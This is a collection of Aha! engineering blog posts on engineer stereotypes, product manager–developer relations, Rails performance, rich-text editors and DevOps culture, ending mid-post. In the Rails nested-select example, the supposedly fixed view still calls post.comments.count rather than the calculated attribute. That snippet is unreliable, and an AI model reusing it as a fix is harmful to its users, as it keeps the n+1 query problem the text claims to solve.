Most product managers develop a close working relationship with their engineering team over time. Although sometimes a little quiet, they're a lovable bunch of nerds — right? On weekends they probably go home to drink Mountain Dew and play online games until the wee hours of the morning. They wake up at 10 a.m. and start again.

Raise your hand if that's what you think about engineers. Whether you did or not, there are likely a lot of things that you might not know about your technology team.

Stereotypes abound. The unique skills required to be a successful software developer add to the proliferation of myths. Misconceptions range from whimsical — “engineers love RPG gaming!” — to sweeping generalizations that are simply untrue — “developers are all introverts.”

But if you can get to know your engineers as the three-dimensional human beings they are, it will only help you relate to them better — both professionally and personally.

So without further ado: Here are a selection of common misconceptions about developers — debunked by six developers at Aha!

Myth 1: All engineers were computer science majors

Many people assume that all engineers majored in a field related to technology — unless, of course, they dropped out like Bill Gates or Mark Zuckerberg. In fact, many find a passion for the field later in life. Others, like me, honed their skills on the side while pursuing humanities or liberal arts degrees. (I majored in English and Religion in college.) Strong programming skills take time and effort to develop. But perhaps more than any skilled job in history, that progress can occur on an individual basis rather than through formal training. What unites developers is their passion for quality code, regardless of how it was acquired. — Nathan

Myth 2: Engineers hate speaking in public

This myth plays along with the stereotype of social ineptitude. Supervisors and colleagues often presume that engineers despise speaking in public. Yet engineers are no different than other people. Some of us hate public speaking with a passion. Others seek it out especially in particular contexts. I lead a small group at my church regularly and thoroughly enjoy the experience. It allows me to explore ideas with other members, and help lead and direct discussion. — Alex

Myth 3: Engineers loathe sports

This is one of the most pervasive myths about engineers — that we have a general disdain for sports (much less any aptitude for them). It is also one of the most inaccurate myths. In high school, I played tennis, cricket, and soccer. Some of the engineers at Aha! have competed in sports across the spectrum, including football, baseball, squash, rugby, and even badminton. Many software developers find sports to be a welcome part of their daily routine. After staring at a computer screen all day, some fresh air and time outdoors (or on the court) can be essential to maintaining a healthy perspective. — Toray

Myth 4: All engineers are loners

Another common misconception is that engineers are all loners, introverts, or shut-ins who avoid social interaction as much as possible. I'm quite the opposite. I thoroughly enjoy working remotely with the distributed team at Aha!, but sometimes I crave the social interaction and atmosphere of an office environment. I'll often take my laptop to a coffee shop — and I even joined a coworking space where I can work with others in an office-like environment. Engineers run the spectrum from introverted to extroverted … just like all people do. — Chris K

Myth 5: Engineers love new technology

Engineers work with technology all day, so when the latest and greatest becomes available, they can't wait to try it — right? Actually, the opposite is often true. Because developers spend so much of their time using technology (and fixing technology), the last thing we want is to deal with bugs and issues that often come with bleeding-edge software. I hate dealing with buggy new gadgets. Many of us frequently prefer to hold onto a phone, laptop, or operating system as long as it is functional — or until the stable version of a new product is available. — Chris W

Myth 6: Engineers are terrible writers

The one strikes a more personal note. Many colleagues have assumed that since I am an engineer, I am a poor writer or do not enjoy writing. In fact, I find writing and coding to be very similar activities. Both require clear and creative expression of ideas in a coherent and readable flow. The primary difference is the language — not the type of thinking required. While it is true that many engineers do not write well, this is more frequently a consequence of experience, not talent. Just like coding in a new language, writing effectively requires practice and diligence. However, it is no more foreign a craft to engineers than it is to anyone else. And the skills that engineers develop through coding often make us better writers. — Zach

Hopefully, our collection of myths from Aha! engineers will help you get to know your own development team better. Don't stop here though. Why not ask your team about their unique hobbies, passions, and skills? You never know what you might find.

What are some common misconceptions you have heard about engineers?

How Much "Dev Speak" Should Product Managers Know?

Alex Bartlow — Wed, 29 Jun 2016 00:00:00 GMT

Product managers need to be able to connect with the engineering team. But some product managers — and people in general — often feel excluded from the cultus of software development. I know because I am a software developer and I work with product managers every day.

Some engineers project the image of themselves as a sort of techno-priesthood — cloistered away from the common man, performing their holy rite of transubstantiating caffeine into code. Approach with coffee and brilliance, or not at all.

To outsiders, it may appear that the shibboleth that will allow them access and respect is to adopt some psuedo dev speak.

What is dev speak? It is a strange language that sounds something like this: “I just saw a great presentation on using Docker and NoSQL to web-scale our cloud.”

The expectation is that the engineering team will nod their head in agreement, extend the secret handshake, and welcome the new product manager into the fold. However, as a software developer I can tell you that using low-level development jargon does not foster connection — at best it only sounds slightly off-key and at worst disingenuous.

You sound like Steve Buscemi masquerading as a high-school student. Don’t be like Steve Buscemi. Don’t fall into the trap of believing that jargon is the secret password to any given group.

Don’t tell anyone, but here is a deep dark dev secret: We do not like jargon.

Programming jargon is a necessary evil. It allows us to communicate large ideas in the small space of our chat windows. It puts a handle on complexity, making it possible to communicate our intent — the mental house of cards of a program not yet written. But only bad developers use jargon to exclude others.

Someone might have told you differently, but developers are people too! And people do not communicate in code. If you want to “speak developer” you should really try to get better at “speaking people.”

We often refer to “hacks.” These are the shortcuts we take to achieve a desired end. Yet in building bridges between human beings — each of us an island — there are no shortcuts. Rather than memorize jargon, product managers should prioritize these four pillars of communication:

Vision

Vision is perhaps the hardest and most crucial thing that product managers must communicate. Without vision, the people perish. This is where we trust you to present a convincing case for what we are building and why. Nobody gets excited for yet another social, local, mobile app to help people buy more stuff. Think bigger, find the place in the world where we can pull our company’s lever, and we’ll give you a place to stand. Let us work together on a realistic timetable. And then, trust us with how to build it — it’s what we do best.

Respect

Respect is something that we developers hold especially dear. Programming is hard. We fail constantly, and we actually write tests to show us our failures to avoid doing so publicly. Programming has been called an art, a science, a craft. I call it living poetry. Respect our work. Respect the long hours we’ve spent to train ourselves, and ask us how what we’ve written really works. You will be awed. And we would love to explain it to you.

Trust

Developers and product managers want the same thing: to build an amazing product. We don’t write code for machines. We write it for you, for our customers, and, in tertiary measure, for ourselves. In some organizations, the walled silos make it hard to see the truth of that statement. (Hey product manager — tear down this wall!)

Excitement

Enthusiasm should be shared. And camaraderie will beat out mistrust any day of the week. Are you excited to solve problems for our users? I assure you, we are also excited to find creative ways to make it happen. Ask us how we solved it. Tell us how you found out that our customers needed it. What did they think? How can we make them even more happy and make our product more lovable?

Is this approach harder than picking up a few bits of technological trivia? Of course it is. Bridging cultures has always been hard — it’s a common refrain throughout human history. But there is far more that unites us than divides us. We need each other.

So stop talking like an annoying engineer. Start talking like a great product manager.

Great product managers focus on our common ground. They are the eyes and ears for developers, showing us what our work is accomplishing. They help us see what’s coming on the roadmap and more importantly why it’s coming, so we can prepare for what’s ahead. And they communicate the vision that inspires us to create even more.

How do you speak with the engineers?

Why You Should Not Major in Engineering

Zach Schneider — Wed, 14 Oct 2015 00:00:00 GMT

My college algorithms class was the final weed-out course in the computer science program. It covered advanced topics like computational complexity and graph theory. If you passed, you would likely graduate. If you didn’t, the universe might be hinting that you aren’t cut out for a computer science career.

My friend David (name changed) and I often studied together. As we commiserated, it became clear that I could solve problems differently than he could. Once I figured out how to click the puzzle pieces together, I easily “thought in code” while typing the solution. While David was very good at reasoning on a high level, he got bogged down in the nitty-gritty details of the solution.

We both passed the course, but David switched his major to psychology after the semester. He realized he had no passion for computer science, but felt pressure (from society and home) to choose a “marketable” degree. David is now happily in grad school and not much worse for wear.

But his poor initial choice of major cost him an extra year of college. Sadly, I have met many folks like David: well-intentioned, bright, and in the completely wrong field.

Here are three reasons you should not be an engineer:

Engineering does not teach you how to think

People often describe computer science and related fields as problem-solving fields – writing code (or designing architecture or building circuit boards) to solve a particular problem. As a result, the best engineers are described as good problem-solvers – not only skilled but also creative and able to think outside the box.

People don’t learn to solve problems by majoring in engineering; they major in engineering to give them the tools to use the problem-solving skills they already have.

I acquired a wide variety of tools for solving particular coding problems during my computer science degree. I can sort arrays efficiently and I can write a script to interface with an API. But coding techniques are merely tools – in the hands of an unskilled problem-solver, they are as inept as a blowtorch in the hands of an amateur welder. I didn’t learn how to think in my computer science classes – how to take a step back, contextualize the problem, or invent new solutions.

Rather, I learned how to think from the things I did outside of computer science. I participated in competitive debate throughout college – this experience taught me to think critically and consider a variety of viewpoints on a given issue. I minored in philosophy – this taught me how to analyze arguments and use sound logic. I ran a student newspaper – this taught me how to write well and work with people.

College is not the end of your learning

Many people pick up additional skills after leaving college, perhaps even pivoting entirely in their choice of career. And most colleges don’t teach you the skills you need in the contemporary tech industry anyway. The languages and techniques I learned in my degree program were easily 10 years behind the times; I acquired the skills that landed me a tech job by doing side projects in my spare time.

Many people with successful careers in tech or even engineering never graduated from college or earned a degree in a completely unrelated field. But college is a unique time to learn how to learn.

For the first and often last time in your life, you have the liberty and the free time to grow as a person – to make mistakes, take classes in subjects you love, take classes in subjects you think you love but eventually hate, participate in extracurriculars, and ultimately set the stage for how you will live the rest of your life.

You can pick up tech skills anytime. If you love coding, you’ll probably end up doing more of it outside of class than in, regardless of whether the class is machine learning or underwater basket-weaving. If you don’t, maybe you will in five years, or maybe you never will because you find some other career that fulfills you.

Businesses need problem solvers

At Aha! we are fortunate to have a variety of skilled and passionate people working in their particular fields of strength. Most of them never write a line of code. They learned how to communicate, how to think, how to write, and how to filter, contextualize, and process information to create incredible marketing solutions. They’re all exceptionally bright individuals – I have no doubt that any one of them could have completed a degree in computer science.

But it’s likely that their talents would never have blossomed in such a field, and they certainly would not have become the core contributors to a thriving tech company that they are today.

The magic of the Internet era is that you can learn to code anytime and from anywhere. Don’t squander your short four years of college staring at some code that won’t compile.

I’m not telling every engineer they should drop out of their degree program. For many people, such as me, engineering can be a fulfilling and enjoyable major, allowing you to hone your skills and learn from experts in a variety of technological studies.

But if you’re struggling through a semester of engineering classes simply because you don’t think you can get a job otherwise, I’m here to tell you: you shouldn’t major in engineering.

Perfecting a Smooth Scrolling Experience for Large Tables

Zach Schneider — Tue, 25 Aug 2015 00:00:00 GMT

Depending on who you ask, the <table> is a quintessential cornerstone of web development old and new; an outmoded curiosity from a time where CSS lacked floating elements; or somewhere in between. But even the biggest critics of the <table> must admit that it is excellent at one task: laying out and automatically resizing to accommodate data of varying width and height.

This made the <table> the obvious choice for Aha! Reports, which allows users to pivot a huge range of data from Aha! in cells that may be very wide, very tall, both, or neither.

The problem we quickly encountered, though, is accommodating tables that are much larger than the screen size. Scrolling a standard <table> will cause the headers to disappear on both the top and left, making it difficult to figure out exactly what data you are looking at. This problem was exacerbated by the fact that many common use cases produce pivot tables that are several thousands of pixels wide or tall, making it far too easy for users to get lost while scrolling.

We investigated a variety of existing solutions but found that multidirectional sticky-header scrolling was essentially an unsolved problem in web development. Existing plugins supported one direction of scrolling (such as sticky column headers) but not two, which was no good for our use case. Other sites that had the same problem simply resorted to not using <table> elements at all – but that meant resorting to arbitrarily sized <div> elements which frequently cropped data if it was too large – again, no good for a view that is intended to surface data from across Aha!

So I cracked my knuckles and got to work on a new solution. I originally experimented with just cloning the <thead> and <th> elements and setting their position to fixed, manually adjusting the position of each header when scrolling the other. But this lead to some unsatisfactory scrollbar behavior – the scrollbars took up the entire height and width of the table (rather than just the body which was truly being scrolled) and displayed inconsistent browser behavior – some browsers would insist on positioning the fixed header over the scrollbar regardless of which CSS attributes I set.

Frustrated by that approach, I was struck with an idea: what if we could leverage the layout flexibility of the <table> to generate correctly-sized <div> elements for scrolling? That line of inquiry became the basis for the unique scrolling behavior of the pivot table.

The table is initially rendered using a classic <table>. However, immediately upon pageload, that <table> is used to generate a series of <div> elements which are actually presented for user interaction. The row and column headers are generated as a very wide (or tall) series of <div>s contained by a fixed-position wrapper. Similarly, the table body itself is used to generate <div>s contained by a fixed-position body wrapper. Scrolling “just works” – the headers are set to overflow: hidden and the body is set to overflow: scroll; and scrolling the body triggers an appropriate update to the scroll position of the headers. The result is a buttery-smooth scrolling experience that allows the table to be useful at any size and scroll position.

Here at Aha! we are obsessed with building perfect user experiences that are excellent down to the most minor of details. We believe that our technology should never be an obstacle to our customers’ product management success, and we back up that belief with an unwavering commitment to solving technical problems via any means necessary.

If that sounds like you, we are always hiring driven and skilled developers to work on our Rails, CoffeeScript, and React.js stack – check out our careers page.

How Engineers Want to Work with Product Managers

Zach Schneider — Mon, 10 Aug 2015 00:00:00 GMT

Engineers want to build the product. They do not want to manage it. So, you can see why a good product manager is an engineer's dream come true. They empower the engineers on their team to build things that matter by setting clear and comprehensive goals, strategy, and initiatives. Then, great PMs prioritize potential features by how well they help their company achieve its goals.

Conversely, a bad product manager is an engineer's worst nightmare. An incompetent product manager can keep the engineers chasing shadows as they are "asked" (aka forced) to build and rebuild to keep up with priorities that may shift on a whim.

Even worse, an ineffective product manager forces the engineers to take on portions of managing the product — a role that distracts and detracts from their primary work of building what matters. What separates a good product manager from a bad one? Endless articles have been written on this subject.

At Aha! we speak with hundreds of product and engineering teams each month. We see both sides of the story. From an engineer's perspective, though, here is some simple advice for how to stay in the good graces of the engineers you work with.

Do Your Job First

It can be tempting as a product manager to overthink the product. Really, doing so is part of your job. But one area where it is important not to overthink is in actual implementation of new features or "how" things get built. That is what engineers are for. You should not prioritize features based on how hard you think they will be to build. Instead, start with the "why" and ask yourself if each feature will help your company achieve its vision and goals.

Engineers care deeply about building things that people use. Sometimes, good product management creates extra work for engineers; they might have to push the limits of what your technology stack can do, or even add new components to provide new core functionality. There is a cost associated with this that a responsible product manager must consider — but do not overthink it. Instead, trust your engineers' estimations and let go. A hyper-productive engineer loves a good challenge.

Plan Twice, Code Once

Unrealistic expectations are perhaps the most frustrating aspect of working with non-technical users. These colleagues often have a poor understanding of how long something will take to build. Every engineer gets knowing grimaces when they relate stories of non-technical users spouting lines like, "You just tap a few lines of code and it's done!" Or, "Just go drag some things around your screen!"

A healthy application is like a healthy organization: it is not a jumble of code, but rather a carefully organized hierarchy, and frequent changes often require substantial restructuring of that hierarchy behind the scenes. This creates work and frustration for the engineers.

This is also why master product managers are thorough and — most importantly — decisive while planning. Waffling about whether new functionality should be added or how it should work creates frustration for the engineers (whether they show it or not). This indecision forces us to code and re-code the same thing over and over again — work that could have been saved had you been more willing to think through your plan before sending it to your dev team.

Admit Your Mistakes

We understand — you are human. Sometimes, you ask for a feature that a customer demands and then decide it is unnecessary. Or maybe you have a feature built and then decide that it should work a completely different way. The company's strategic goals and initiatives ought to be the highest priority; if this requires reworking an already-built component of the application, so be it.

The most important thing is that you are able to admit your mistakes. Engineers will rarely get frustrated with a sincere, "I am sorry; I had you implement this feature the wrong way, and I would like you to build it out differently instead."

What will frustrate the engineer (especially if this happens often) is obfuscation and gaslighting. Yes, sometimes requirements change or are added as the feature takes shape. But if you ask for a complete restructuring of the initial spec, do not try to pass this off as a small change. Yes, the feature may have turned out differently than you wanted it. But it is your job to clearly and concisely communicate what you would like to have built. Do not pass blame off to your engineers.

A good product manager is an engineer's best friend. Maintaining a solid relationship between the product management and development teams is essential to the healthy growth of any organization. The best news of all? This does not have to be hard. Clear communication is your gateway to success. Everyone on both teams will thank you both for it.

Engineers and product managers, what have you found to be helpful when interacting with the "other half" of the relationship?

Code Complexity Metrics Suck — Use Them Anyway

Zach Schneider — Mon, 20 Jul 2015 00:00:00 GMT

I love contributing meaningful code to the open-source community; I do it every chance that I get. A few years back, I authored my first major open source project — a Rails application for developers to set up an anonymous bug report page. The bug reports generated GitHub issues on the relevant project.

I refactored and improved my code over subsequent months — including placing the methods that integrate with the GitHub API in a service class executed asynchronously by Sidekiq. This ensured a quick response for users rather than waiting for round-trip latency to GitHub.

I used this project as an excuse to test out any and all new SaaS developer platforms that caught my fancy. It allowed me to expand my awareness of the scope of available tools while also selecting the best options to improve my project.

One of the solutions I tried was a SaaS service to automatically evaluate code complexity and identify complex methods or classes that require improvement. Most of my application was evaluated just fine right off the bat. It is a fairly simple application with few complex methods.

However, the GitHub service class I described above drew the ire of the code complexity analyzer. It contained a method that — while readable — was necessarily complex. When a user refreshed their repositories from GitHub, it had to fetch all user repositories and all organization repositories. It also removed any outdated user or organization repositories.

I spent several hours trying to refactor the method to please the code complexity gods. I broke out sub-methods, shortened lines of code, and simplified logic. At some point, I realized that although my method was becoming programmatically simpler, it ended up far more difficult for a human to comprehend.

The problem with code complexity metrics is that they apply a static benchmark to a dynamic problem. Sometimes, methods have to do complex things — that is the nature of code in the real world.

But developers are not always helped by endlessly refactoring complex methods into smaller and smaller sub-methods. Such refactoring can cause easily understandable code to become obtusely nested.

In the end, I took the easy way out and simply excluded my GitHub service class from the complexity metrics. I reached a point where I realized that further subdividing my methods was only obscuring my code.

But upon reflection, I realized that using complexity metrics served an important (if less than perfect) purpose. It forced me to think critically and make intentional decisions about complex areas of my code. And these new ways of thinking ultimately improved the project as the whole.

I ended up excluding the GitHub service. Even so, the class ended up in far better shape after I spent time addressing the complexity concerns raised by automated testing. And having a constant nagging reminder about code complexity made me think about the quality of each new commit I pushed.

There is a human element to evaluating code quality that will never be removed. After all, it is really only human input that matters; machines don’t care about the quality of the code they execute.

In that sense, code complexity metrics fail. They try to apply machine logic to what is at its core a human problem.

But code complexity metrics also bring out the best in human developers: conscientious attention towards creating code that is readable for their fellow humans — and hopefully pleases the machine overlords as well. The importance of such attention cannot be overstated as projects grow and new developers must understand what has been written before them.

Code complexity metrics suck. Use them anyway.

Using Nested Selects for Performance in Rails

Zach Schneider — Fri, 26 Jun 2015 00:00:00 GMT

Databases are fast, even at performing fairly complex operations. This is easy to forget in the age of ORMs and abstraction and many of us haven’t written a line of raw SQL in months.

But a solid, production-ready SQL database is mature, low-level, and thoroughly optimized for the task it’s designed to do: create, read, update, and delete a set of well-structured records.

It’s important to keep the speed of your database in the back of your mind at all times — especially for Rails developers. The convenience of the ActiveRecord ORM does not always translate into a performant result; even with eager loading and joining, it’s often easy to write an n+1 query that kills production performance. This is especially true with a complex Rails architecture, which can magnify even small mistakes in optimization.

Let’s take a relatively common case.

Suppose we have a simple blog application written in Rails. It has a Post model (with predictable attributes like title, content, and author) and a Comment model (with post_id, body, and author). Now, let’s say we want to display some recent posts in a table, and include a column for the number of comments that have been made on each post.

We might write something like this:

<!-- posts/index.html.erb -->
<table>
  <thead>
    <tr>
      <th>Post Title</th>
      <th># Comments</th>
    </tr>
  </thead>
  <tbody>
    <% @posts.each do |post| %>
      <tr>
        <td><%= link_to post.title, post %></td>
        <td><%= post.comments.count %></td>
      </tr>
    <% end %>
  </tbody>
</table>

Pretty straightforward. But what happens behind the scenes?

ActiveRecord will first execute a query to get the list of posts (e.g. select * from posts;) and then execute a subsequent query for each post to calculate how many comments it has (e.g. select count(*) from comments where post_id = ?;). A classic n+1 problem; we end up with an unbounded number of queries as the number of posts increases.

We can solve this problem with eager loading: @posts.eager_load(:comments) will instruct ActiveRecord to include the comments in the initial query and thus prevent any further queries. When it works, eager loading is a simple and elegant solution to n+1 query problems. But unfortunately, it often only actually helps in the most trivial cases.

To demonstrate this, let’s now posit that comments has an additional is_approved boolean attribute, so inappropriate comments can be removed by a moderator. Obviously, we only want to include comments that are visible in the comment count. But there is no easy way to do this in ActiveRecord without sacrificing eager loading.

Adding a new where query to the comments relation causes ActiveRecord to discard the eager loaded data and perform a new query with an appropriate WHERE clause; the n+1 problem has come roaring back. As you can imagine, this quandary only worsens as you add layers of complexity to the application.

What if we were using raw SQL to load the posts and comment counts? This problem would be easy to solve. We would write a single query, such as:

SELECT "posts".*,
  (SELECT count(*) FROM comments WHERE comments.post_id = posts.id AND comments.is_approved = 1) AS comments_count
  FROM "posts";

But unfortunately, there is not a convenient way of achieving this result built into the ActiveRecord ORM, short of running a completely custom SQL query from scratch. The exceptional convenience of the ActiveRecord paradigm has come into conflict with the expedient performance and flexibility of raw SQL.

To solve this problem at Aha! (which is product roadmap software), we built and open-sourced a Ruby gem called calculated_attributes. The gem extends ActiveRecord to permit definition of calculated attributes on models using a bit of raw SQL in a lambda. Returning to the example above, calculated_attributes would allow us to define a :comments_count attribute on the Post model:

# models/post.rb
class Post < ActiveRecord::Base
  ...
  calculated :comments_count,
    -> { "SELECT count(*) FROM comments WHERE comments.post_id = posts.id AND comments.is_approved = 1" }
  ...
end

And then reference it in the controller/view to automatically incorporate the comments count in the ActiveRecord SQL query:

<!-- posts/index.html.erb -->
<table>
  <thead>
    <tr>
      <th>Post Title</th>
      <th># Comments</th>
    </tr>
  </thead>
  <tbody>
    <% @posts.calculated(:comments_count).each do |post| %>
      <tr>
        <td><%= link_to post.title, post %></td>
        <td><%= post.comments.count %></td>
      </tr>
    <% end %>
  </tbody>
</table>

Presto! An elegant solution to eliminate the n+1 query problem and incorporate the flexibility of raw SQL into the ActiveRecord paradigm.

ORMs and abstractions such as ActiveRecord are incredibly useful in eliminating boilerplate code and allowing Agile development teams to rapidly implement new features. But they also allow for mounting performance problems if used carelessly.

It is important when writing Rails to think carefully about what the abstractions are doing behind the scenes and find or build in optimizations when necessary. If you want to push the limits of what is possible with Rails at at a rapidly growing SaaS company founded by two Silicon Valley veterans, check out our careers page.

When have you been burned by a performance problem caused by a naive abstraction? Join the discussion on Hacker News.

Making Magic with contenteditable="true"

Zach Schneider — Fri, 19 Jun 2015 00:00:00 GMT

I love this team. I love the product and engineering team at Aha! because we believe in objectively prioritizing work. To truly build what matters, you must identify which feature requests will help you achieve your goal and which ones will waste your time. Most ideas sound great but actually matter little.

The challenge for all product developments teams is humans.

The human factor involved in leading product complicates decision making. People develop their own pet projects, and it becomes tougher to prioritize without stepping on toes.

To alleviate this problem, we developed the Aha! Score — a means of removing some of the subjectivity from feature prioritization. The Aha! Score allows product managers to develop a formula for scoring their feature and then use sliders to score each metric for each feature. The resulting score introduces high-level business value and removes some of the subjective, human component from the prioritization process.

To make scorecards as useful as possible, we wanted to support arbitrarily complex formulas. This ensures that our technical implementation is never a constraint on customer success. We also wanted to develop a rich editing experience for managers to use when defining and testing their formulas.

In addition, we wanted to ensure that calculated results are always technically and mathematically accurate. To solve these problems, we developed two core components which we later open-sourced as gems: token-text-area and eqn.

token-text-area

The first gem, token-text-area, is focused around the rich editing experience. This is where the title of this post comes into play: we wanted a way for users to insert metrics and mathematical symbols and numbers into the same equation, while still making it clear which components belong where. To solve the problem, we used a contenteditable div as the equation field, allowing it to contain both “tokens” (spans representing a particular metric) and numbers/math symbols.

As you can see in the screenshot, this allows for a rich editing experience in which the user can quickly develop complex formulas based on how each metric affects their business process. To insert the tokens, we provided autocomplete support. The user simply has to begin typing the name of a metric; once they do, a popup menu suggests tokens to insert.

The hardest part of this implementation step was developing consistent cross-browser behavior in contenteditable divs. For example, Chrome will not blink the cursor in a contenteditable div that is focused but does not contain any text, while Internet Explorer displays odd behavior with mouse click bindings.

We decided to open source our solution to smooth the path for others solving similar problems in the future.

eqn

Finally, we had to develop a means of calculating equation results (including metrics, numbers, and basic functions) while respecting order of operations. We rejected use of Ruby’s eval for security reasons; users could theoretically enter arbitrary text into the equation field, and proper sanitization is a tough problem with many corner cases.

We developed our own mathematical parser using the Treetop parser generator; the result was the eqn gem. We selected a parser generator for its stability and predictability; trying to roll your own lexer/parser solution typically results in many corner cases and difficult-to-trace bugs. As an added benefit, the generator rejects anything outside of the explicitly defined grammar, and doesn’t require us to make use of eval; malformed equations simply throw an easily handled exception.

At Aha! we do our best to help our customers prioritize their features and focus on building what will have the biggest impact. Equally, we believe in giving back to the developer community through open-sourcing components of our code.

We are always hiring exceptional Rails and CoffeeScript engineers; check out our careers page if you’re interested in joining a fast-growing company that continues to stretch the limits of what technology can do.

3 Lessons From the Hacker Who Saved Apollo 11

Alex Bartlow — Sun, 07 Jun 2015 00:00:00 GMT

I have been fascinated by rockets since I was young. As I get older, my appreciation has only grown for the amazing amount of engineering that goes into those majestic machines.

I would like to share with you some insights from one of my personal heroines: Margaret Hamilton, the hacker who saved Apollo 11. Here is a letter she wrote detailing how Neil Armstrong’s Eagle almost did not land on the moon — and how the design decisions she made saved the mission:

Due to an error in the checklist manual, the rendezvous radar switch was placed in the wrong position. This caused it to send erroneous signals to the computer. The result was that the computer was being asked to perform all of its normal functions for landing while receiving an extra load of spurious data which used up 15% of its time.

The computer (or rather the software in it) was smart enough to recognize that it was being asked to perform more tasks than it should be performing. It then sent out an alarm, which meant to the astronaut, I am overloaded with more tasks than I should be doing at this time and I am going to keep only the more important tasks; i.e. the ones needed for landing. Actually, the computer was programmed to do more than recognize error conditions.

A complete set of recovery programs was incorporated into the software. The software’s action, in this case, was to eliminate lower priority tasks and re-establish the more important ones … If the computer had not recognized this problem and taken recovery action, I doubt if Apollo 11 would have been the successful moon landing it was.

—Margaret Hamilton, Director of Apollo Flight Computer Programming MIT Draper Laboratory, Cambridge, Massachusetts, “Computer Got Loaded”, Letter to Datamation, March 1, 1971

3 key takeaways from this story are instructive for software developers today:

Assume that things will break

You must plan for error conditions — especially in a developer role. You do not need to get pedantic about finding ways that things could break. But you do need to ensure that your application does something sensible during an error condition. Sometimes, it is okay for this to be a custom 500 page thrown to the user!

What you do NOT want is for the user to assume that everything is okay and have the system fail silently without their knowledge. This leads to data loss, frustration, and support tickets. This is a major drawback of many recent single-page-applications: if the client cannot reach the API, the client can continue for some time before the user picks up on the fact that something is wrong. In addition, a crucial component of handling errors is the post-mortem process afterwards. One of the best ways to save yourself from headache in those situations is to ensure that you are logging enough data to debug problems after they have happened.

Build in recovery and maintenance tools

While reading the story above, did you notice that the flight computer had programs to fix itself? Lines of business applications do not usually need this sort of error correction outside of good database constraints. But it is a good idea to define what “normal” is for your applications, and write some cron jobs or recurring tasks in your background job solution (Sidekiq, Resque) to check that everything looks good. The more critical your process — and the higher your costs of deviance — the more crucial it is that you catch deviant behavior early.

To fix anything that might have gone awry, a robust administration portal is essential. It helps you keep tabs on what is going on in your application. More importantly, it allows other teams within your organization to contribute to troubleshooting and error correction efforts.

In the Ruby on Rails world, Active Admin is the de-facto standard for creating these sort of interfaces. It is a very powerful tool, which is why it helps to extend its capabilities using custom partials as quickly as possible. The alternative — that you develop rake tasks for recovery or maintenance tasks — prevents re-use and subjects those important pieces of code to bit-rot. This can leave them rusty and out of step with the rest of the application when you need them most.

Keep the human in the loop

One of the most striking things to me in the story above is that the Eagle Lander raised some errors, even while attempting to continue on its own. When you have two well-trained pilots in the craft, you want all the expertise that they can give you. The same is true of your development and customer success teams – if you have hired well, you should have teams full of very well-trained and well-equipped people who can make better decisions than you can economically code.

I think many developers underestimate the intelligence of their customers. For that reason, developers do not tend to give enough attention to crafting error messages that let customers know what went wrong and how to fix it.

Just like investing in your administration portal is important, investing in error and notice communications to your customers is critical to reducing support overhead as your team scales. The end result is that you create empowered customers who have a sense of ownership over the application — which means they will be your best advocates in the future.

Margaret Hamilton did all of the above in the 70s, in assembly language, before any best practices for software engineering had been formalized — she even had to coin the term “software engineering!”

If the last 50 years have taught us anything about software development, it is that precious few endeavors work correctly on the first try. Even fewer keep working correctly in the future.

It benefits all of us to plan for and mitigate failure before it occurs.

State of the Art in WYSIWYG HTML Editors

Chris Waters — Mon, 15 Dec 2014 00:00:00 GMT

A common feature request from Aha! users was the ability to include images and tables inline with feature descriptions. A year or so ago we embarked on a project to improve our editor with a more feature rich experience.

When we originally chose an editor for Aha! we selected Ning’s wysihtml5 because it had a nice balance of functionality with a relatively simple and easy to follow code-base.

At the time it was a good choice for us because it was easy to integrate and most importantly had excellent support for inline-editing.

A key aspect of the editing experience in Aha! which is product roadmap software is that you can immediately start editing text inline, without needing to click an “edit” button or wait for the editor to load.

This makes editing quick and easy, but it does require that the editor code can work directly with <div>s that are marked with the contenteditable attribute.

Over time we found a few small problems with wysihtml5 that we were not able to fix: (1) weird text combinations that prevented editing, (2) clunky editing of links, (3) no cross-browser support for inline images. So we embarked on a search for a replacement.

After experimenting with many of the available editors we settled on tinymce.

We chose it because it has excellent cross-browser support, including inline images, because of its elegant table editor, and because we could be confident that because of the large existing user and developer base that there would continue to be improvements in the future.

Although tinymce has an inline mode, getting it to work satisfactorily for us turned out to be a much bigger undertaking than we expected. We are fussy about how a toolbar should behave when the screen is small, when it is resized and how it should behave during scrolling. Getting the right result required weeks of fine tuning, but we are very pleased with the result.

You probably now understand why we are excited to roll out the new text editor and start using it ourselves. Tell us about what you have learned about working with text editors.

Comments on Hacker News.

Why Does DevOps Think They Are the TSA?

Chris Waters — Mon, 28 Oct 2013 00:00:00 GMT

So you are the DevOps Manager — gatekeeper of everything good — and the go-to-guy for smart code running on big iron. You help keep engineering from releasing the miserable code that QA was not able to sniff out. You see the big data center picture and can techno-babble with the best architect around.

Your brain is evenly split between “risk management” and “time-to-market” and you know when to be where. You are the great protector of uptime. Your glance scares junior engineers back to their cubes, you are immune to false-positives, and you have more dead pagers than Blackberry has unwanted phones.

You are the DevOps Manager. But why are you acting like the TSA?

The intersection between engineering and operations is where the code hits the wild. It is where strategy and market leadership becomes a reality for software companies. And great Operations management is usually the difference between a mediocre customer experience and delight. While nobody would miss DevOps if it disappeared in the short-term, ensuring that sophisticated software is performing well (forever) is what superstar DevOps folks do in market leading companies.

Unfortunately, while listening to product and engineering groups discuss their challenges at my new company Aha! I have recently noticed a disturbing trend. DevOps groups are behaving badly and it has led me to reflect on the mindset of some of the teams that I have worked with. Because DevOps teams are often blamed for poor releases, they have developed a debilitating first order assumption that drives everything they do. The new religion that has likely turned your Devops group and many others like it into the TSA of business is:

DevOps believes that every engineer is a bad player destined to release poor code that will hurt people.

This assumption leads DevOps to go terrible wrong. If you believe that everyone is a threat with malicious intent or is simply unaccountable for their actions, you erect gates and more gates and “predictive” tools to dissuade engineers from releasing code. And you set up contingency plans and defensive fallback procedures if your gates happen to let the bad guy through.

But these gates have the opposite effect — in every way, these safeguards lead to higher risk. They do not ensure higher quality releases and are guaranteed to lead to customer dissatisfaction for the following reasons.

More code

The longer the team goes between releasing code, the more code is going to be released. It is that simple. Even if your team does not work all that quickly, they get paid to write code and some likely gets written every day. And the more code there is, the higher the likelihood that something is going to go wrong when it does get released.

Stale engineers

Writing code takes real focus and attention to deal. This is why it is difficult to context-switch when writing code and the more dynamic the feature or difficult the bug, the harder it is to multi-task. If there are long delays between writing code and releasing it, there are start-up costs in terms of how long it will take a developer to get back into the mindset that she was in when she originally wrote the code. There are just too many dependencies and trade-offs that are carefully considered when writing code to keep them all in mind once you have moved on to the next challenge. So, when bad code does happen, it takes longer to figure out why and fix it.

Frustrated customers

